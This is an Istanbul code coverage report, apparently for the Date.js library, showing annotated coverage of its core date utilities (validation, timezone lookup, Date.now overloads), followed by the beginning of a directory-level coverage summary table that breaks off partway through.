<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">369</span>
<span class="cline-any cline-yes">369</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">368</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">367</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">28</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">339</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">30</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">119</span>
<span class="cline-any cline-yes">119</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">139</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">71</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span></td><td class="text"><pre class="prettyprint lang-js">(function () {
	var $D = Date,
		$P = $D.prototype,
		p = function (s, l) {
			<span class="missing-if-branch" title="else path not taken" >E</span>if (!l) {
				l = 2;
			}
			return ("000" + s).slice(l * -1);
		};
	
	<span class="missing-if-branch" title="else path not taken" >E</span>if (typeof window !== "undefined" &amp;&amp; typeof window.console !== "undefined" &amp;&amp; typeof window.console.log !== "undefined") {
		$D.console = console; // used only to raise non-critical errors if available
	} else {
		// set mock so we don't give errors.
<span class="cstat-no" title="statement not covered" >		$D.console = {</span>
			log: <span class="fstat-no" title="function not covered" >function(){</span>},
			error: <span class="fstat-no" title="function not covered" >function(){</span>}
		};
	}
	$D.Config = $D.Config || <span class="branch-1 cbranch-no" title="branch not covered" >{};</span>
&nbsp;
	$D.initOverloads = function() {
		/** 
		 * Overload of Date.now. Allows an alternate call for Date.now where it returns the 
		 * current Date as an object rather than just milliseconds since the Unix Epoch.
		 *
		 * Also provides an implementation of now() for browsers (IE&lt;9) that don't have it.
		 * 
		 * Backwards compatible so with work with either:
		 *  Date.now() [returns ms]
		 * or
		 *  Date.now(true) [returns Date]
		 */
		if (!$D.now) {
			$D._now = function now() {
				return new Date().getTime();
			};
		} else if (!$D._now) {
			$D._now = $D.now;
		}
&nbsp;
		$D.now = function (returnObj) {
			if (returnObj) {
				return $D.present();
			} else {
				return $D._now();
			}
		};
&nbsp;
		if ( !$P.toISOString ) {
			$P.toISOString = function() {
				return this.getUTCFullYear() +
				"-" + p(this.getUTCMonth() + 1) +
				"-" + p(this.getUTCDate()) +
				"T" + p(this.getUTCHours()) +
				":" + p(this.getUTCMinutes()) +
				":" + p(this.getUTCSeconds()) +
				"." + String( (this.getUTCMilliseconds()/1000).toFixed(3)).slice(2, 5) +
				"Z";
			};
		}
		
		// private
		if ( $P._toString === undefined ){
			$P._toString = $P.toString;
		}
&nbsp;
	};
	$D.initOverloads();
&nbsp;
&nbsp;
	/** 
	 * Gets a date that is set to the current date. The time is set to the start of the day (00:00 or 12:00 AM).
	 * @return {Date}    The current date.
	 */
	$D.today = function () {
		return new Date().clearTime();
	};
&nbsp;
	/** 
	 * Gets a date that is set to the current date and time (same as new Date, but chainable)
	 * @return {Date}    The current date.
	 */
	$D.present = function () {
		return new Date();
	};
&nbsp;
	/**
	 * Compares the first date to the second date and returns an number indication of their relative values.  
	 * @param {Date}     First Date object to compare [Required].
	 * @param {Date}     Second Date object to compare to [Required].
	 * @return {Number}  -1 = date1 is lessthan date2. 0 = values are equal. 1 = date1 is greaterthan date2.
	 */
	$D.compare = function (date1, date2) {
		if (isNaN(date1) || isNaN(date2)) {
			throw new Error(date1 + " - " + date2);
		} else if (date1 instanceof Date &amp;&amp; date2 instanceof Date) {
			return (date1 &lt; date2) ? -1 : (date1 &gt; date2) ? 1 : 0;
		} else {
			throw new TypeError(date1 + " - " + date2);
		}
	};
	
	/**
	 * Compares the first Date object to the second Date object and returns true if they are equal.  
	 * @param {Date}     First Date object to compare [Required]
	 * @param {Date}     Second Date object to compare to [Required]
	 * @return {Boolean} true if dates are equal. false if they are not equal.
	 */
	$D.equals = function (date1, date2) {
		return (date1.compareTo(date2) === 0);
	};
&nbsp;
	/**
	 * Gets the language appropriate day name when given the day number(0-6)
	 * eg - 0 == Sunday
	 * @return {String}  The day name
	 */
	$D.getDayName = function (n) {
		return Date.CultureInfo.dayNames[n];
	};
&nbsp;
	/**
	 * Gets the day number (0-6) if given a CultureInfo specific string which is a valid dayName, abbreviatedDayName or shortestDayName (two char).
	 * @param {String}   The name of the day (eg. "Monday, "Mon", "tuesday", "tue", "We", "we").
	 * @return {Number}  The day number
	 */
	$D.getDayNumberFromName = function (name) {
		var n = Date.CultureInfo.dayNames, m = Date.CultureInfo.abbreviatedDayNames, o = Date.CultureInfo.shortestDayNames, s = name.toLowerCase();
		for (var i = 0; i &lt; n.length; i++) {
			if (n[i].toLowerCase() === s || m[i].toLowerCase() === s || o[i].toLowerCase() === s) {
				return i;
			}
		}
		return -1;
	};
	
	/**
	 * Gets the month number (0-11) if given a Culture Info specific string which is a valid monthName or abbreviatedMonthName.
	 * @param {String}   The name of the month (eg. "February, "Feb", "october", "oct").
	 * @return {Number}  The day number
	 */
	$D.getMonthNumberFromName = function (name) {
		var n = Date.CultureInfo.monthNames, m = Date.CultureInfo.abbreviatedMonthNames, s = name.toLowerCase();
		for (var i = 0; i &lt; n.length; i++) {
			if (n[i].toLowerCase() === s || m[i].toLowerCase() === s) {
				return i;
			}
		}
		return -1;
	};
&nbsp;
	/**
	 * Gets the language appropriate month name when given the month number(0-11)
	 * eg - 0 == January
	 * @return {String}  The month name
	 */
	$D.getMonthName = function (n) {
		return Date.CultureInfo.monthNames[n];
	};
&nbsp;
	/**
	 * Determines if the current date instance is within a LeapYear.
	 * @param {Number}   The year.
	 * @return {Boolean} true if date is within a LeapYear, otherwise false.
	 */
	$D.isLeapYear = function (year) {
		return ((year % 4 === 0 &amp;&amp; year % 100 !== 0) || year % 400 === 0);
	};
&nbsp;
	/**
	 * Gets the number of days in the month, given a year and month value. Automatically corrects for LeapYear.
	 * @param {Number}   The year.
	 * @param {Number}   The month (0-11).
	 * @return {Number}  The number of days in the month.
	 */
	$D.getDaysInMonth = function (year, month) {
		if (!month &amp;&amp; $D.validateMonth(year)) {
				month = year;
				year = Date.today().getFullYear();
		}
		return [31, ($D.isLeapYear(year) ? 29 : 28), 31, 30, 31, 30, 31, 31, 30, 31, 30, 31][month];
	};
&nbsp;
	$P.getDaysInMonth = <span class="fstat-no" title="function not covered" >function () {</span>
<span class="cstat-no" title="statement not covered" >		return $D.getDaysInMonth(this.getFullYear(), this.getMonth());</span>
	};
 
	$D.getTimezoneAbbreviation = function (offset, dst) {
		var p, n = (dst || false) ? Date.CultureInfo.abbreviatedTimeZoneDST : Date.CultureInfo.abbreviatedTimeZoneStandard;
		for (p in n) {
			<span class="missing-if-branch" title="else path not taken" >E</span>if (n.hasOwnProperty(p)) {
				if (n[p] === offset) {
					return p;
				}
			}
		}
		return null;
	};
	
	$D.getTimezoneOffset = function (name, dst) {
		var i, a =[], z = Date.CultureInfo.timezones;
		<span class="missing-if-branch" title="if path not taken" >I</span>if (!name) { <span class="cstat-no" title="statement not covered" >name = (new Date()).getTimezone();}</span>
		for (i = 0; i &lt; z.length; i++) {
			if (z[i].name === name.toUpperCase()) {
				a.push(i);
			}
		}
		if (!z[a[0]]) {
			return null;
		}
		if (a.length === 1 || !dst) {
			return z[a[0]].offset;
		} else {
			for (i=0; i &lt; a.length; i++) {
				if (z[a[i]].dst) {
					return z[a[i]].offset;
				}
			}
		}
	};
&nbsp;
	$D.getQuarter = function (d) {
		d = d || <span class="branch-1 cbranch-no" title="branch not covered" >new Date();</span> // If no date supplied, use today
		var q = [1,2,3,4];
		return q[Math.floor(d.getMonth() / 3)]; // ~~~ is a bitwise op. Faster than Math.floor
	};
&nbsp;
	$D.getDaysLeftInQuarter = function (d) {
		d = d || <span class="branch-1 cbranch-no" title="branch not covered" >new Date();</span>
		var qEnd = new Date(d);
		qEnd.setMonth(qEnd.getMonth() + 3 - qEnd.getMonth() % 3, 0);
		return Math.floor((qEnd - d) / 8.64e7);
	};
&nbsp;
	// private
	var validate = function (n, min, max, name) {
		name = name ? name : <span class="branch-1 cbranch-no" title="branch not covered" >"Object";</span>
		if (typeof n === "undefined") {
			return false;
		} else if (typeof n !== "number") {
			throw new TypeError(n + " is not a Number.");
		} else if (n &lt; min || n &gt; max) {
			// As failing validation is *not* an exceptional circumstance 
			// lets not throw a RangeError Exception here. 
			// It's semantically correct but it's not sensible.
			return false;
		}
		return true;
	};
&nbsp;
	/**
	 * Validates the number is within an acceptable range for milliseconds [0-999].
	 * @param {Number}   The number to check if within range.
	 * @return {Boolean} true if within range, otherwise false.
	 */
	$D.validateMillisecond = function (value) {
		return validate(value, 0, 999, "millisecond");
	};
&nbsp;
	/**
	 * Validates the number is within an acceptable range for seconds [0-59].
	 * @param {Number}   The number to check if within range.
	 * @return {Boolean} true if within range, otherwise false.
	 */
	$D.validateSecond = function (value) {
		return validate(value, 0, 59, "second");
	};
&nbsp;
	/**
	 * Validates the number is within an acceptable range for minutes [0-59].
	 * @param {Number}   The number to check if within range.
	 * @return {Boolean} true if within range, otherwise false.
	 */
	$D.validateMinute = function (value) {
		return validate(value, 0, 59, "minute");
	};
&nbsp;
	/**
	 * Validates the number is within an acceptable range for hours [0-23].
	 * @param {Number}   The number to check if within range.
	 * @return {Boolean} true if within range, otherwise false.
	 */
	$D.validateHour = function (value) {
		return validate(value, 0, 23, "hour");
	};
&nbsp;
	/**
	 * Validates the number is within an acceptable range for the days in a month [0-MaxDaysInMonth].
	 * @param {Number}   The number to check if within range.
	 * @return {Boolean} true if within range, otherwise false.
	 */
	$D.validateDay = function (value, year, month) {
		<span class="missing-if-branch" title="if path not taken" >I</span>if (year === undefined || year === null || month === undefined || month === null) { <span class="cstat-no" title="statement not covered" >return false;}</span>
		return validate(value, 1, $D.getDaysInMonth(year, month), "day");
	};
&nbsp;
	/**
	 * Validates the number is within an acceptable range for months [0-11].
	 * @param {Number}   The number to check if within range.
	 * @return {Boolean} true if within range, otherwise false.
	 */
	$D.validateWeek = function (value) {
		return validate(value, 0, 53, "week");
	};
&nbsp;
	/**
	 * Validates the number is within an acceptable range for months [0-11].
	 * @param {Number}   The number to check if within range.
	 * @return {Boolean} true if within range, otherwise false.
	 */
	$D.validateMonth = function (value) {
		return validate(value, 0, 11, "month");
	};
&nbsp;
	/**
	 * Validates the number is within an acceptable range for years.
	 * @param {Number}   The number to check if within range.
	 * @return {Boolean} true if within range, otherwise false.
	 */
	$D.validateYear = function (value) {
		/**
		 * Per ECMAScript spec the range of times supported by Date objects is 
		 * exactly -100,000,000 days to +100,000,000 days measured relative to 
		 * midnight at the beginning of 01 January, 1970 UTC. 
		 * This gives a range of 8,640,000,000,000,000 milliseconds to either 
		 * side of 01 January, 1970 UTC.
		 *
		 * Earliest possible date: Tue, 20 Apr 271,822 B.C. 00:00:00 UTC
		 * Latest possible date: Sat, 13 Sep 275,760 00:00:00 UTC
		 */
		return validate(value, -271822, 275760, "year");
	};
	$D.validateTimezone = function(value) {
		var timezones = {"ACDT":1,"ACST":1,"ACT":1,"ADT":1,"AEDT":1,"AEST":1,"AFT":1,"AKDT":1,"AKST":1,"AMST":1,"AMT":1,"ART":1,"AST":1,"AWDT":1,"AWST":1,"AZOST":1,"AZT":1,"BDT":1,"BIOT":1,"BIT":1,"BOT":1,"BRT":1,"BST":1,"BTT":1,"CAT":1,"CCT":1,"CDT":1,"CEDT":1,"CEST":1,"CET":1,"CHADT":1,"CHAST":1,"CHOT":1,"ChST":1,"CHUT":1,"CIST":1,"CIT":1,"CKT":1,"CLST":1,"CLT":1,"COST":1,"COT":1,"CST":1,"CT":1,"CVT":1,"CWST":1,"CXT":1,"DAVT":1,"DDUT":1,"DFT":1,"EASST":1,"EAST":1,"EAT":1,"ECT":1,"EDT":1,"EEDT":1,"EEST":1,"EET":1,"EGST":1,"EGT":1,"EIT":1,"EST":1,"FET":1,"FJT":1,"FKST":1,"FKT":1,"FNT":1,"GALT":1,"GAMT":1,"GET":1,"GFT":1,"GILT":1,"GIT":1,"GMT":1,"GST":1,"GYT":1,"HADT":1,"HAEC":1,"HAST":1,"HKT":1,"HMT":1,"HOVT":1,"HST":1,"ICT":1,"IDT":1,"IOT":1,"IRDT":1,"IRKT":1,"IRST":1,"IST":1,"JST":1,"KGT":1,"KOST":1,"KRAT":1,"KST":1,"LHST":1,"LINT":1,"MAGT":1,"MART":1,"MAWT":1,"MDT":1,"MET":1,"MEST":1,"MHT":1,"MIST":1,"MIT":1,"MMT":1,"MSK":1,"MST":1,"MUT":1,"MVT":1,"MYT":1,"NCT":1,"NDT":1,"NFT":1,"NPT":1,"NST":1,"NT":1,"NUT":1,"NZDT":1,"NZST":1,"OMST":1,"ORAT":1,"PDT":1,"PET":1,"PETT":1,"PGT":1,"PHOT":1,"PHT":1,"PKT":1,"PMDT":1,"PMST":1,"PONT":1,"PST":1,"PYST":1,"PYT":1,"RET":1,"ROTT":1,"SAKT":1,"SAMT":1,"SAST":1,"SBT":1,"SCT":1,"SGT":1,"SLST":1,"SRT":1,"SST":1,"SYOT":1,"TAHT":1,"THA":1,"TFT":1,"TJT":1,"TKT":1,"TLT":1,"TMT":1,"TOT":1,"TVT":1,"UCT":1,"ULAT":1,"UTC":1,"UYST":1,"UYT":1,"UZT":1,"VET":1,"VLAT":1,"VOLT":1,"VOST":1,"VUT":1,"WAKT":1,"WAST":1,"WAT":1,"WEDT":1,"WEST":1,"WET":1,"WST":1,"YAKT":1,"YEKT":1,"Z":1};
		return (timezones[value] === 1);
	};
	$D.validateTimezoneOffset= function(value) {
		// timezones go from +14hrs to -12hrs, the +X hours are negative offsets.
		return (value &gt; -841 &amp;&amp; value &lt; 721);
	};
&nbsp;
}());
&nbsp;</pre></td></tr>
</table></pre>

</div>
<div class="footer">
    <div class="meta">Generated by <a href="http://istanbul-js.org/" target="_blank">istanbul</a> at Sun Nov 16 2014 12:08:33 GMT-0800 (PST)</div>
</div>

<script src="../prettify.js"></script>

<script src="https://yui-s.yahooapis.com/3.6.0/build/yui/yui-min.js"></script>
<script>

    YUI().use('datatable', function (Y) {

        var formatters = {
          pct: function (o) {
              o.className += o.record.get('classes')[o.column.key];
              try {
                  return o.value.toFixed(2) + '%';
              } catch (ex) { return o.value + '%'; }
          },
          html: function (o) {
              o.className += o.record.get('classes')[o.column.key];
              return o.record.get(o.column.key + '_html');
          }
        },
          defaultFormatter = function (o) {
              o.className += o.record.get('classes')[o.column.key];
              return o.value;
          };

        function getColumns(theadNode) {
            var colNodes = theadNode.all('tr th'),
                cols = [],
                col;
            colNodes.each(function (colNode) {
                col = {
                    key: colNode.getAttribute('data-col'),
                    label: colNode.get('innerHTML') || ' ',
                    sortable: !colNode.getAttribute('data-nosort'),
                    className: colNode.getAttribute('class'),
                    type: colNode.getAttribute('data-type'),
                    allowHTML: colNode.getAttribute('data-html') === 'true' || colNode.getAttribute('data-fmt') === 'html'
                };
                col.formatter = formatters[colNode.getAttribute('data-fmt')] || defaultFormatter;
                cols.push(col);
            });
            return cols;
        }

        function getRowData(trNode, cols) {
            var tdNodes = trNode.all('td'),
                    i,
                    row = { classes: {} },
                    node,
                    name;
            for (i = 0; i < cols.length; i += 1) {
                name = cols[i].key;
                node = tdNodes.item(i);
                row[name] = node.getAttribute('data-value') || node.get('innerHTML');
                row[name + '_html'] = node.get('innerHTML');
                row.classes[name] = node.getAttribute('class');
                //Y.log('Name: ' + name + '; Value: ' + row[name]);
                if (cols[i].type === 'number') { row[name] = row[name] * 1; }
            }
            //Y.log(row);
            return row;
        }

        function getData(tbodyNode, cols) {
            var data = [];
            tbodyNode.all('tr').each(function (trNode) {
                data.push(getRowData(trNode, cols));
            });
            return data;
        }

        function replaceTable(node) {
            if (!node) { return; }
            var cols = getColumns(node.one('thead')),
                data = getData(node.one('tbody'), cols),
                table,
                parent = node.get('parentNode');

            table = new Y.DataTable({
                columns: cols,
                data: data,
                sortBy: 'file'
            });
            parent.set('innerHTML', '');
            table.render(parent);
        }

        Y.on('domready', function () {
            replaceTable(Y.one('div.coverage-summary table'));
            if (typeof prettyPrint === 'function') {
                prettyPrint();
            }
        });
    });
</script>
</body>
</html>
index.html000066600000050451152444006550006557 0ustar00<!doctype html>
<html lang="en">
<head>
    <title>Code coverage report for core/</title>
    <meta charset="utf-8">

    <link rel="stylesheet" href="../prettify.css">

    <style>
        body, html {
            margin:0; padding: 0;
        }
        body {
            font-family: Helvetica Neue, Helvetica,Arial;
            font-size: 10pt;
        }
        div.header, div.footer {
            background: #eee;
            padding: 1em;
        }
        div.header {
            z-index: 100;
            position: fixed;
            top: 0;
            border-bottom: 1px solid #666;
            width: 100%;
        }
        div.footer {
            border-top: 1px solid #666;
        }
        div.body {
            margin-top: 10em;
        }
        div.meta {
            font-size: 90%;
            text-align: center;
        }
        h1, h2, h3 {
            font-weight: normal;
        }
        h1 {
            font-size: 12pt;
        }
        h2 {
            font-size: 10pt;
        }
        pre {
            font-family: Consolas, Menlo, Monaco, monospace;
            margin: 0;
            padding: 0;
            line-height: 14px;
            font-size: 14px;
            -moz-tab-size: 2;
            -o-tab-size:  2;
            tab-size: 2;
        }

        div.path { font-size: 110%; }
        div.path a:link, div.path a:visited { color: #000; }
        table.coverage { border-collapse: collapse; margin:0; padding: 0 }

        table.coverage td {
            margin: 0;
            padding: 0;
            color: #111;
            vertical-align: top;
        }
        table.coverage td.line-count {
            width: 50px;
            text-align: right;
            padding-right: 5px;
        }
        table.coverage td.line-coverage {
            color: #777 !important;
            text-align: right;
            border-left: 1px solid #666;
            border-right: 1px solid #666;
        }

        table.coverage td.text {
        }

        table.coverage td span.cline-any {
            display: inline-block;
            padding: 0 5px;
            width: 40px;
        }
        table.coverage td span.cline-neutral {
            background: #eee;
        }
        table.coverage td span.cline-yes {
            background: #b5d592;
            color: #999;
        }
        table.coverage td span.cline-no {
            background: #fc8c84;
        }

        .cstat-yes { color: #111; }
        .cstat-no { background: #fc8c84; color: #111; }
        .fstat-no { background: #ffc520; color: #111 !important; }
        .cbranch-no { background:  yellow !important; color: #111; }

        .cstat-skip { background: #ddd; color: #111; }
        .fstat-skip { background: #ddd; color: #111 !important; }
        .cbranch-skip { background: #ddd !important; color: #111; }

        .missing-if-branch {
            display: inline-block;
            margin-right: 10px;
            position: relative;
            padding: 0 4px;
            background: black;
            color: yellow;
        }

        .skip-if-branch {
            display: none;
            margin-right: 10px;
            position: relative;
            padding: 0 4px;
            background: #ccc;
            color: white;
        }

        .missing-if-branch .typ, .skip-if-branch .typ {
            color: inherit !important;
        }

        .entity, .metric { font-weight: bold; }
        .metric { display: inline-block; border: 1px solid #333; padding: 0.3em; background: white; }
        .metric small { font-size: 80%; font-weight: normal; color: #666; }

        div.coverage-summary table { border-collapse: collapse; margin: 3em; font-size: 110%; }
        div.coverage-summary td, div.coverage-summary table  th { margin: 0; padding: 0.25em 1em; border-top: 1px solid #666; border-bottom: 1px solid #666; }
        div.coverage-summary th { text-align: left; border: 1px solid #666; background: #eee; font-weight: normal; }
        div.coverage-summary th.file { border-right: none !important; }
        div.coverage-summary th.pic { border-left: none !important; text-align: right; }
        div.coverage-summary th.pct { border-right: none !important; }
        div.coverage-summary th.abs { border-left: none !important; text-align: right; }
        div.coverage-summary td.pct { text-align: right; border-left: 1px solid #666; }
        div.coverage-summary td.abs { text-align: right; font-size: 90%; color: #444; border-right: 1px solid #666; }
        div.coverage-summary td.file { text-align: right; border-left: 1px solid #666; white-space: nowrap;  }
        div.coverage-summary td.pic { min-width: 120px !important;  }
        div.coverage-summary a:link { text-decoration: none; color: #000; }
        div.coverage-summary a:visited { text-decoration: none; color: #333; }
        div.coverage-summary a:hover { text-decoration: underline; }
        div.coverage-summary tfoot td { border-top: 1px solid #666; }

        div.coverage-summary .yui3-datatable-sort-indicator, div.coverage-summary .dummy-sort-indicator {
            height: 10px;
            width: 7px;
            display: inline-block;
            margin-left: 0.5em;
        }
        div.coverage-summary .yui3-datatable-sort-indicator {
            background: url("https://yui-s.yahooapis.com/3.6.0/build/datatable-sort/assets/skins/sam/sort-arrow-sprite.png") no-repeat scroll 0 0 transparent;
        }
        div.coverage-summary .yui3-datatable-sorted .yui3-datatable-sort-indicator {
            background-position: 0 -20px;
        }
        div.coverage-summary .yui3-datatable-sorted-desc .yui3-datatable-sort-indicator {
            background-position: 0 -10px;
        }

        .high { background: #b5d592 !important; }
        .medium { background: #ffe87c !important; }
        .low { background: #fc8c84 !important; }

        span.cover-fill, span.cover-empty {
            display:inline-block;
            border:1px solid #444;
            background: white;
            height: 12px;
        }
        span.cover-fill {
            background: #ccc;
            border-right: 1px solid #444;
        }
        span.cover-empty {
            background: white;
            border-left: none;
        }
        span.cover-full {
            border-right: none !important;
        }
        pre.prettyprint {
            border: none !important;
            padding: 0 !important;
            margin: 0 !important;
        }
        .com { color: #999 !important; }
        .ignore-none { color: #999; font-weight: normal; }

    </style>
</head>
<body>
<div class="header high">
    <h1>Code coverage report for <span class="entity">core/</span></h1>
    <h2>
        
        Statements: <span class="metric">82.29% <small>(1385 / 1683)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Branches: <span class="metric">70.61% <small>(793 / 1123)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Functions: <span class="metric">83.48% <small>(288 / 345)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Lines: <span class="metric">82.5% <small>(1377 / 1669)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        Ignored: <span class="metric"><span class="ignore-none">none</span></span> &nbsp;&nbsp;&nbsp;&nbsp;
    </h2>
    <div class="path"><a href="../index.html">All files</a> &#187; core/</div>
</div>
<div class="body">
<div class="coverage-summary">
<table>
<thead>
<tr>
   <th data-col="file" data-fmt="html" data-html="true" class="file">File</th>
   <th data-col="pic" data-type="number" data-fmt="html" data-html="true" class="pic"></th>
   <th data-col="statements" data-type="number" data-fmt="pct" class="pct">Statements</th>
   <th data-col="statements_raw" data-type="number" data-fmt="html" class="abs"></th>
   <th data-col="branches" data-type="number" data-fmt="pct" class="pct">Branches</th>
   <th data-col="branches_raw" data-type="number" data-fmt="html" class="abs"></th>
   <th data-col="functions" data-type="number" data-fmt="pct" class="pct">Functions</th>
   <th data-col="functions_raw" data-type="number" data-fmt="html" class="abs"></th>
   <th data-col="lines" data-type="number" data-fmt="pct" class="pct">Lines</th>
   <th data-col="lines_raw" data-type="number" data-fmt="html" class="abs"></th>
</tr>
</thead>
<tbody><tr>
	<td class="file high" data-value="core-prototypes.js"><a href="core-prototypes.js.html">core-prototypes.js</a></td>
	<td data-value="95.1" class="pic high"><span class="cover-fill" style="width: 95px;"></span><span class="cover-empty" style="width:5px;"></span></td>
	<td data-value="95.1" class="pct high">95.1%</td>
	<td data-value="306" class="abs high">(291&nbsp;/&nbsp;306)</td>
	<td data-value="83.33" class="pct high">83.33%</td>
	<td data-value="234" class="abs high">(195&nbsp;/&nbsp;234)</td>
	<td data-value="100" class="pct high">100%</td>
	<td data-value="50" class="abs high">(50&nbsp;/&nbsp;50)</td>
	<td data-value="96.28" class="pct high">96.28%</td>
	<td data-value="296" class="abs high">(285&nbsp;/&nbsp;296)</td>
	</tr>

<tr>
	<td class="file high" data-value="core.js"><a href="core.js.html">core.js</a></td>
	<td data-value="96.77" class="pic high"><span class="cover-fill" style="width: 96px;"></span><span class="cover-empty" style="width:4px;"></span></td>
	<td data-value="96.77" class="pct high">96.77%</td>
	<td data-value="124" class="abs high">(120&nbsp;/&nbsp;124)</td>
	<td data-value="90.11" class="pct high">90.11%</td>
	<td data-value="91" class="abs high">(82&nbsp;/&nbsp;91)</td>
	<td data-value="91.18" class="pct high">91.18%</td>
	<td data-value="34" class="abs high">(31&nbsp;/&nbsp;34)</td>
	<td data-value="98.36" class="pct high">98.36%</td>
	<td data-value="122" class="abs high">(120&nbsp;/&nbsp;122)</td>
	</tr>

<tr>
	<td class="file medium" data-value="extras.js"><a href="extras.js.html">extras.js</a></td>
	<td data-value="61.76" class="pic medium"><span class="cover-fill" style="width: 61px;"></span><span class="cover-empty" style="width:39px;"></span></td>
	<td data-value="61.76" class="pct medium">61.76%</td>
	<td data-value="68" class="abs medium">(42&nbsp;/&nbsp;68)</td>
	<td data-value="33.33" class="pct low">33.33%</td>
	<td data-value="45" class="abs low">(15&nbsp;/&nbsp;45)</td>
	<td data-value="92.31" class="pct high">92.31%</td>
	<td data-value="13" class="abs high">(12&nbsp;/&nbsp;13)</td>
	<td data-value="61.76" class="pct medium">61.76%</td>
	<td data-value="68" class="abs medium">(42&nbsp;/&nbsp;68)</td>
	</tr>

<tr>
	<td class="file high" data-value="format_parser.js"><a href="format_parser.js.html">format_parser.js</a></td>
	<td data-value="96.95" class="pic high"><span class="cover-fill" style="width: 96px;"></span><span class="cover-empty" style="width:4px;"></span></td>
	<td data-value="96.95" class="pct high">96.95%</td>
	<td data-value="164" class="abs high">(159&nbsp;/&nbsp;164)</td>
	<td data-value="86.13" class="pct high">86.13%</td>
	<td data-value="137" class="abs high">(118&nbsp;/&nbsp;137)</td>
	<td data-value="94.29" class="pct high">94.29%</td>
	<td data-value="35" class="abs high">(33&nbsp;/&nbsp;35)</td>
	<td data-value="96.95" class="pct high">96.95%</td>
	<td data-value="164" class="abs high">(159&nbsp;/&nbsp;164)</td>
	</tr>

<tr>
	<td class="file high" data-value="i18n.js"><a href="i18n.js.html">i18n.js</a></td>
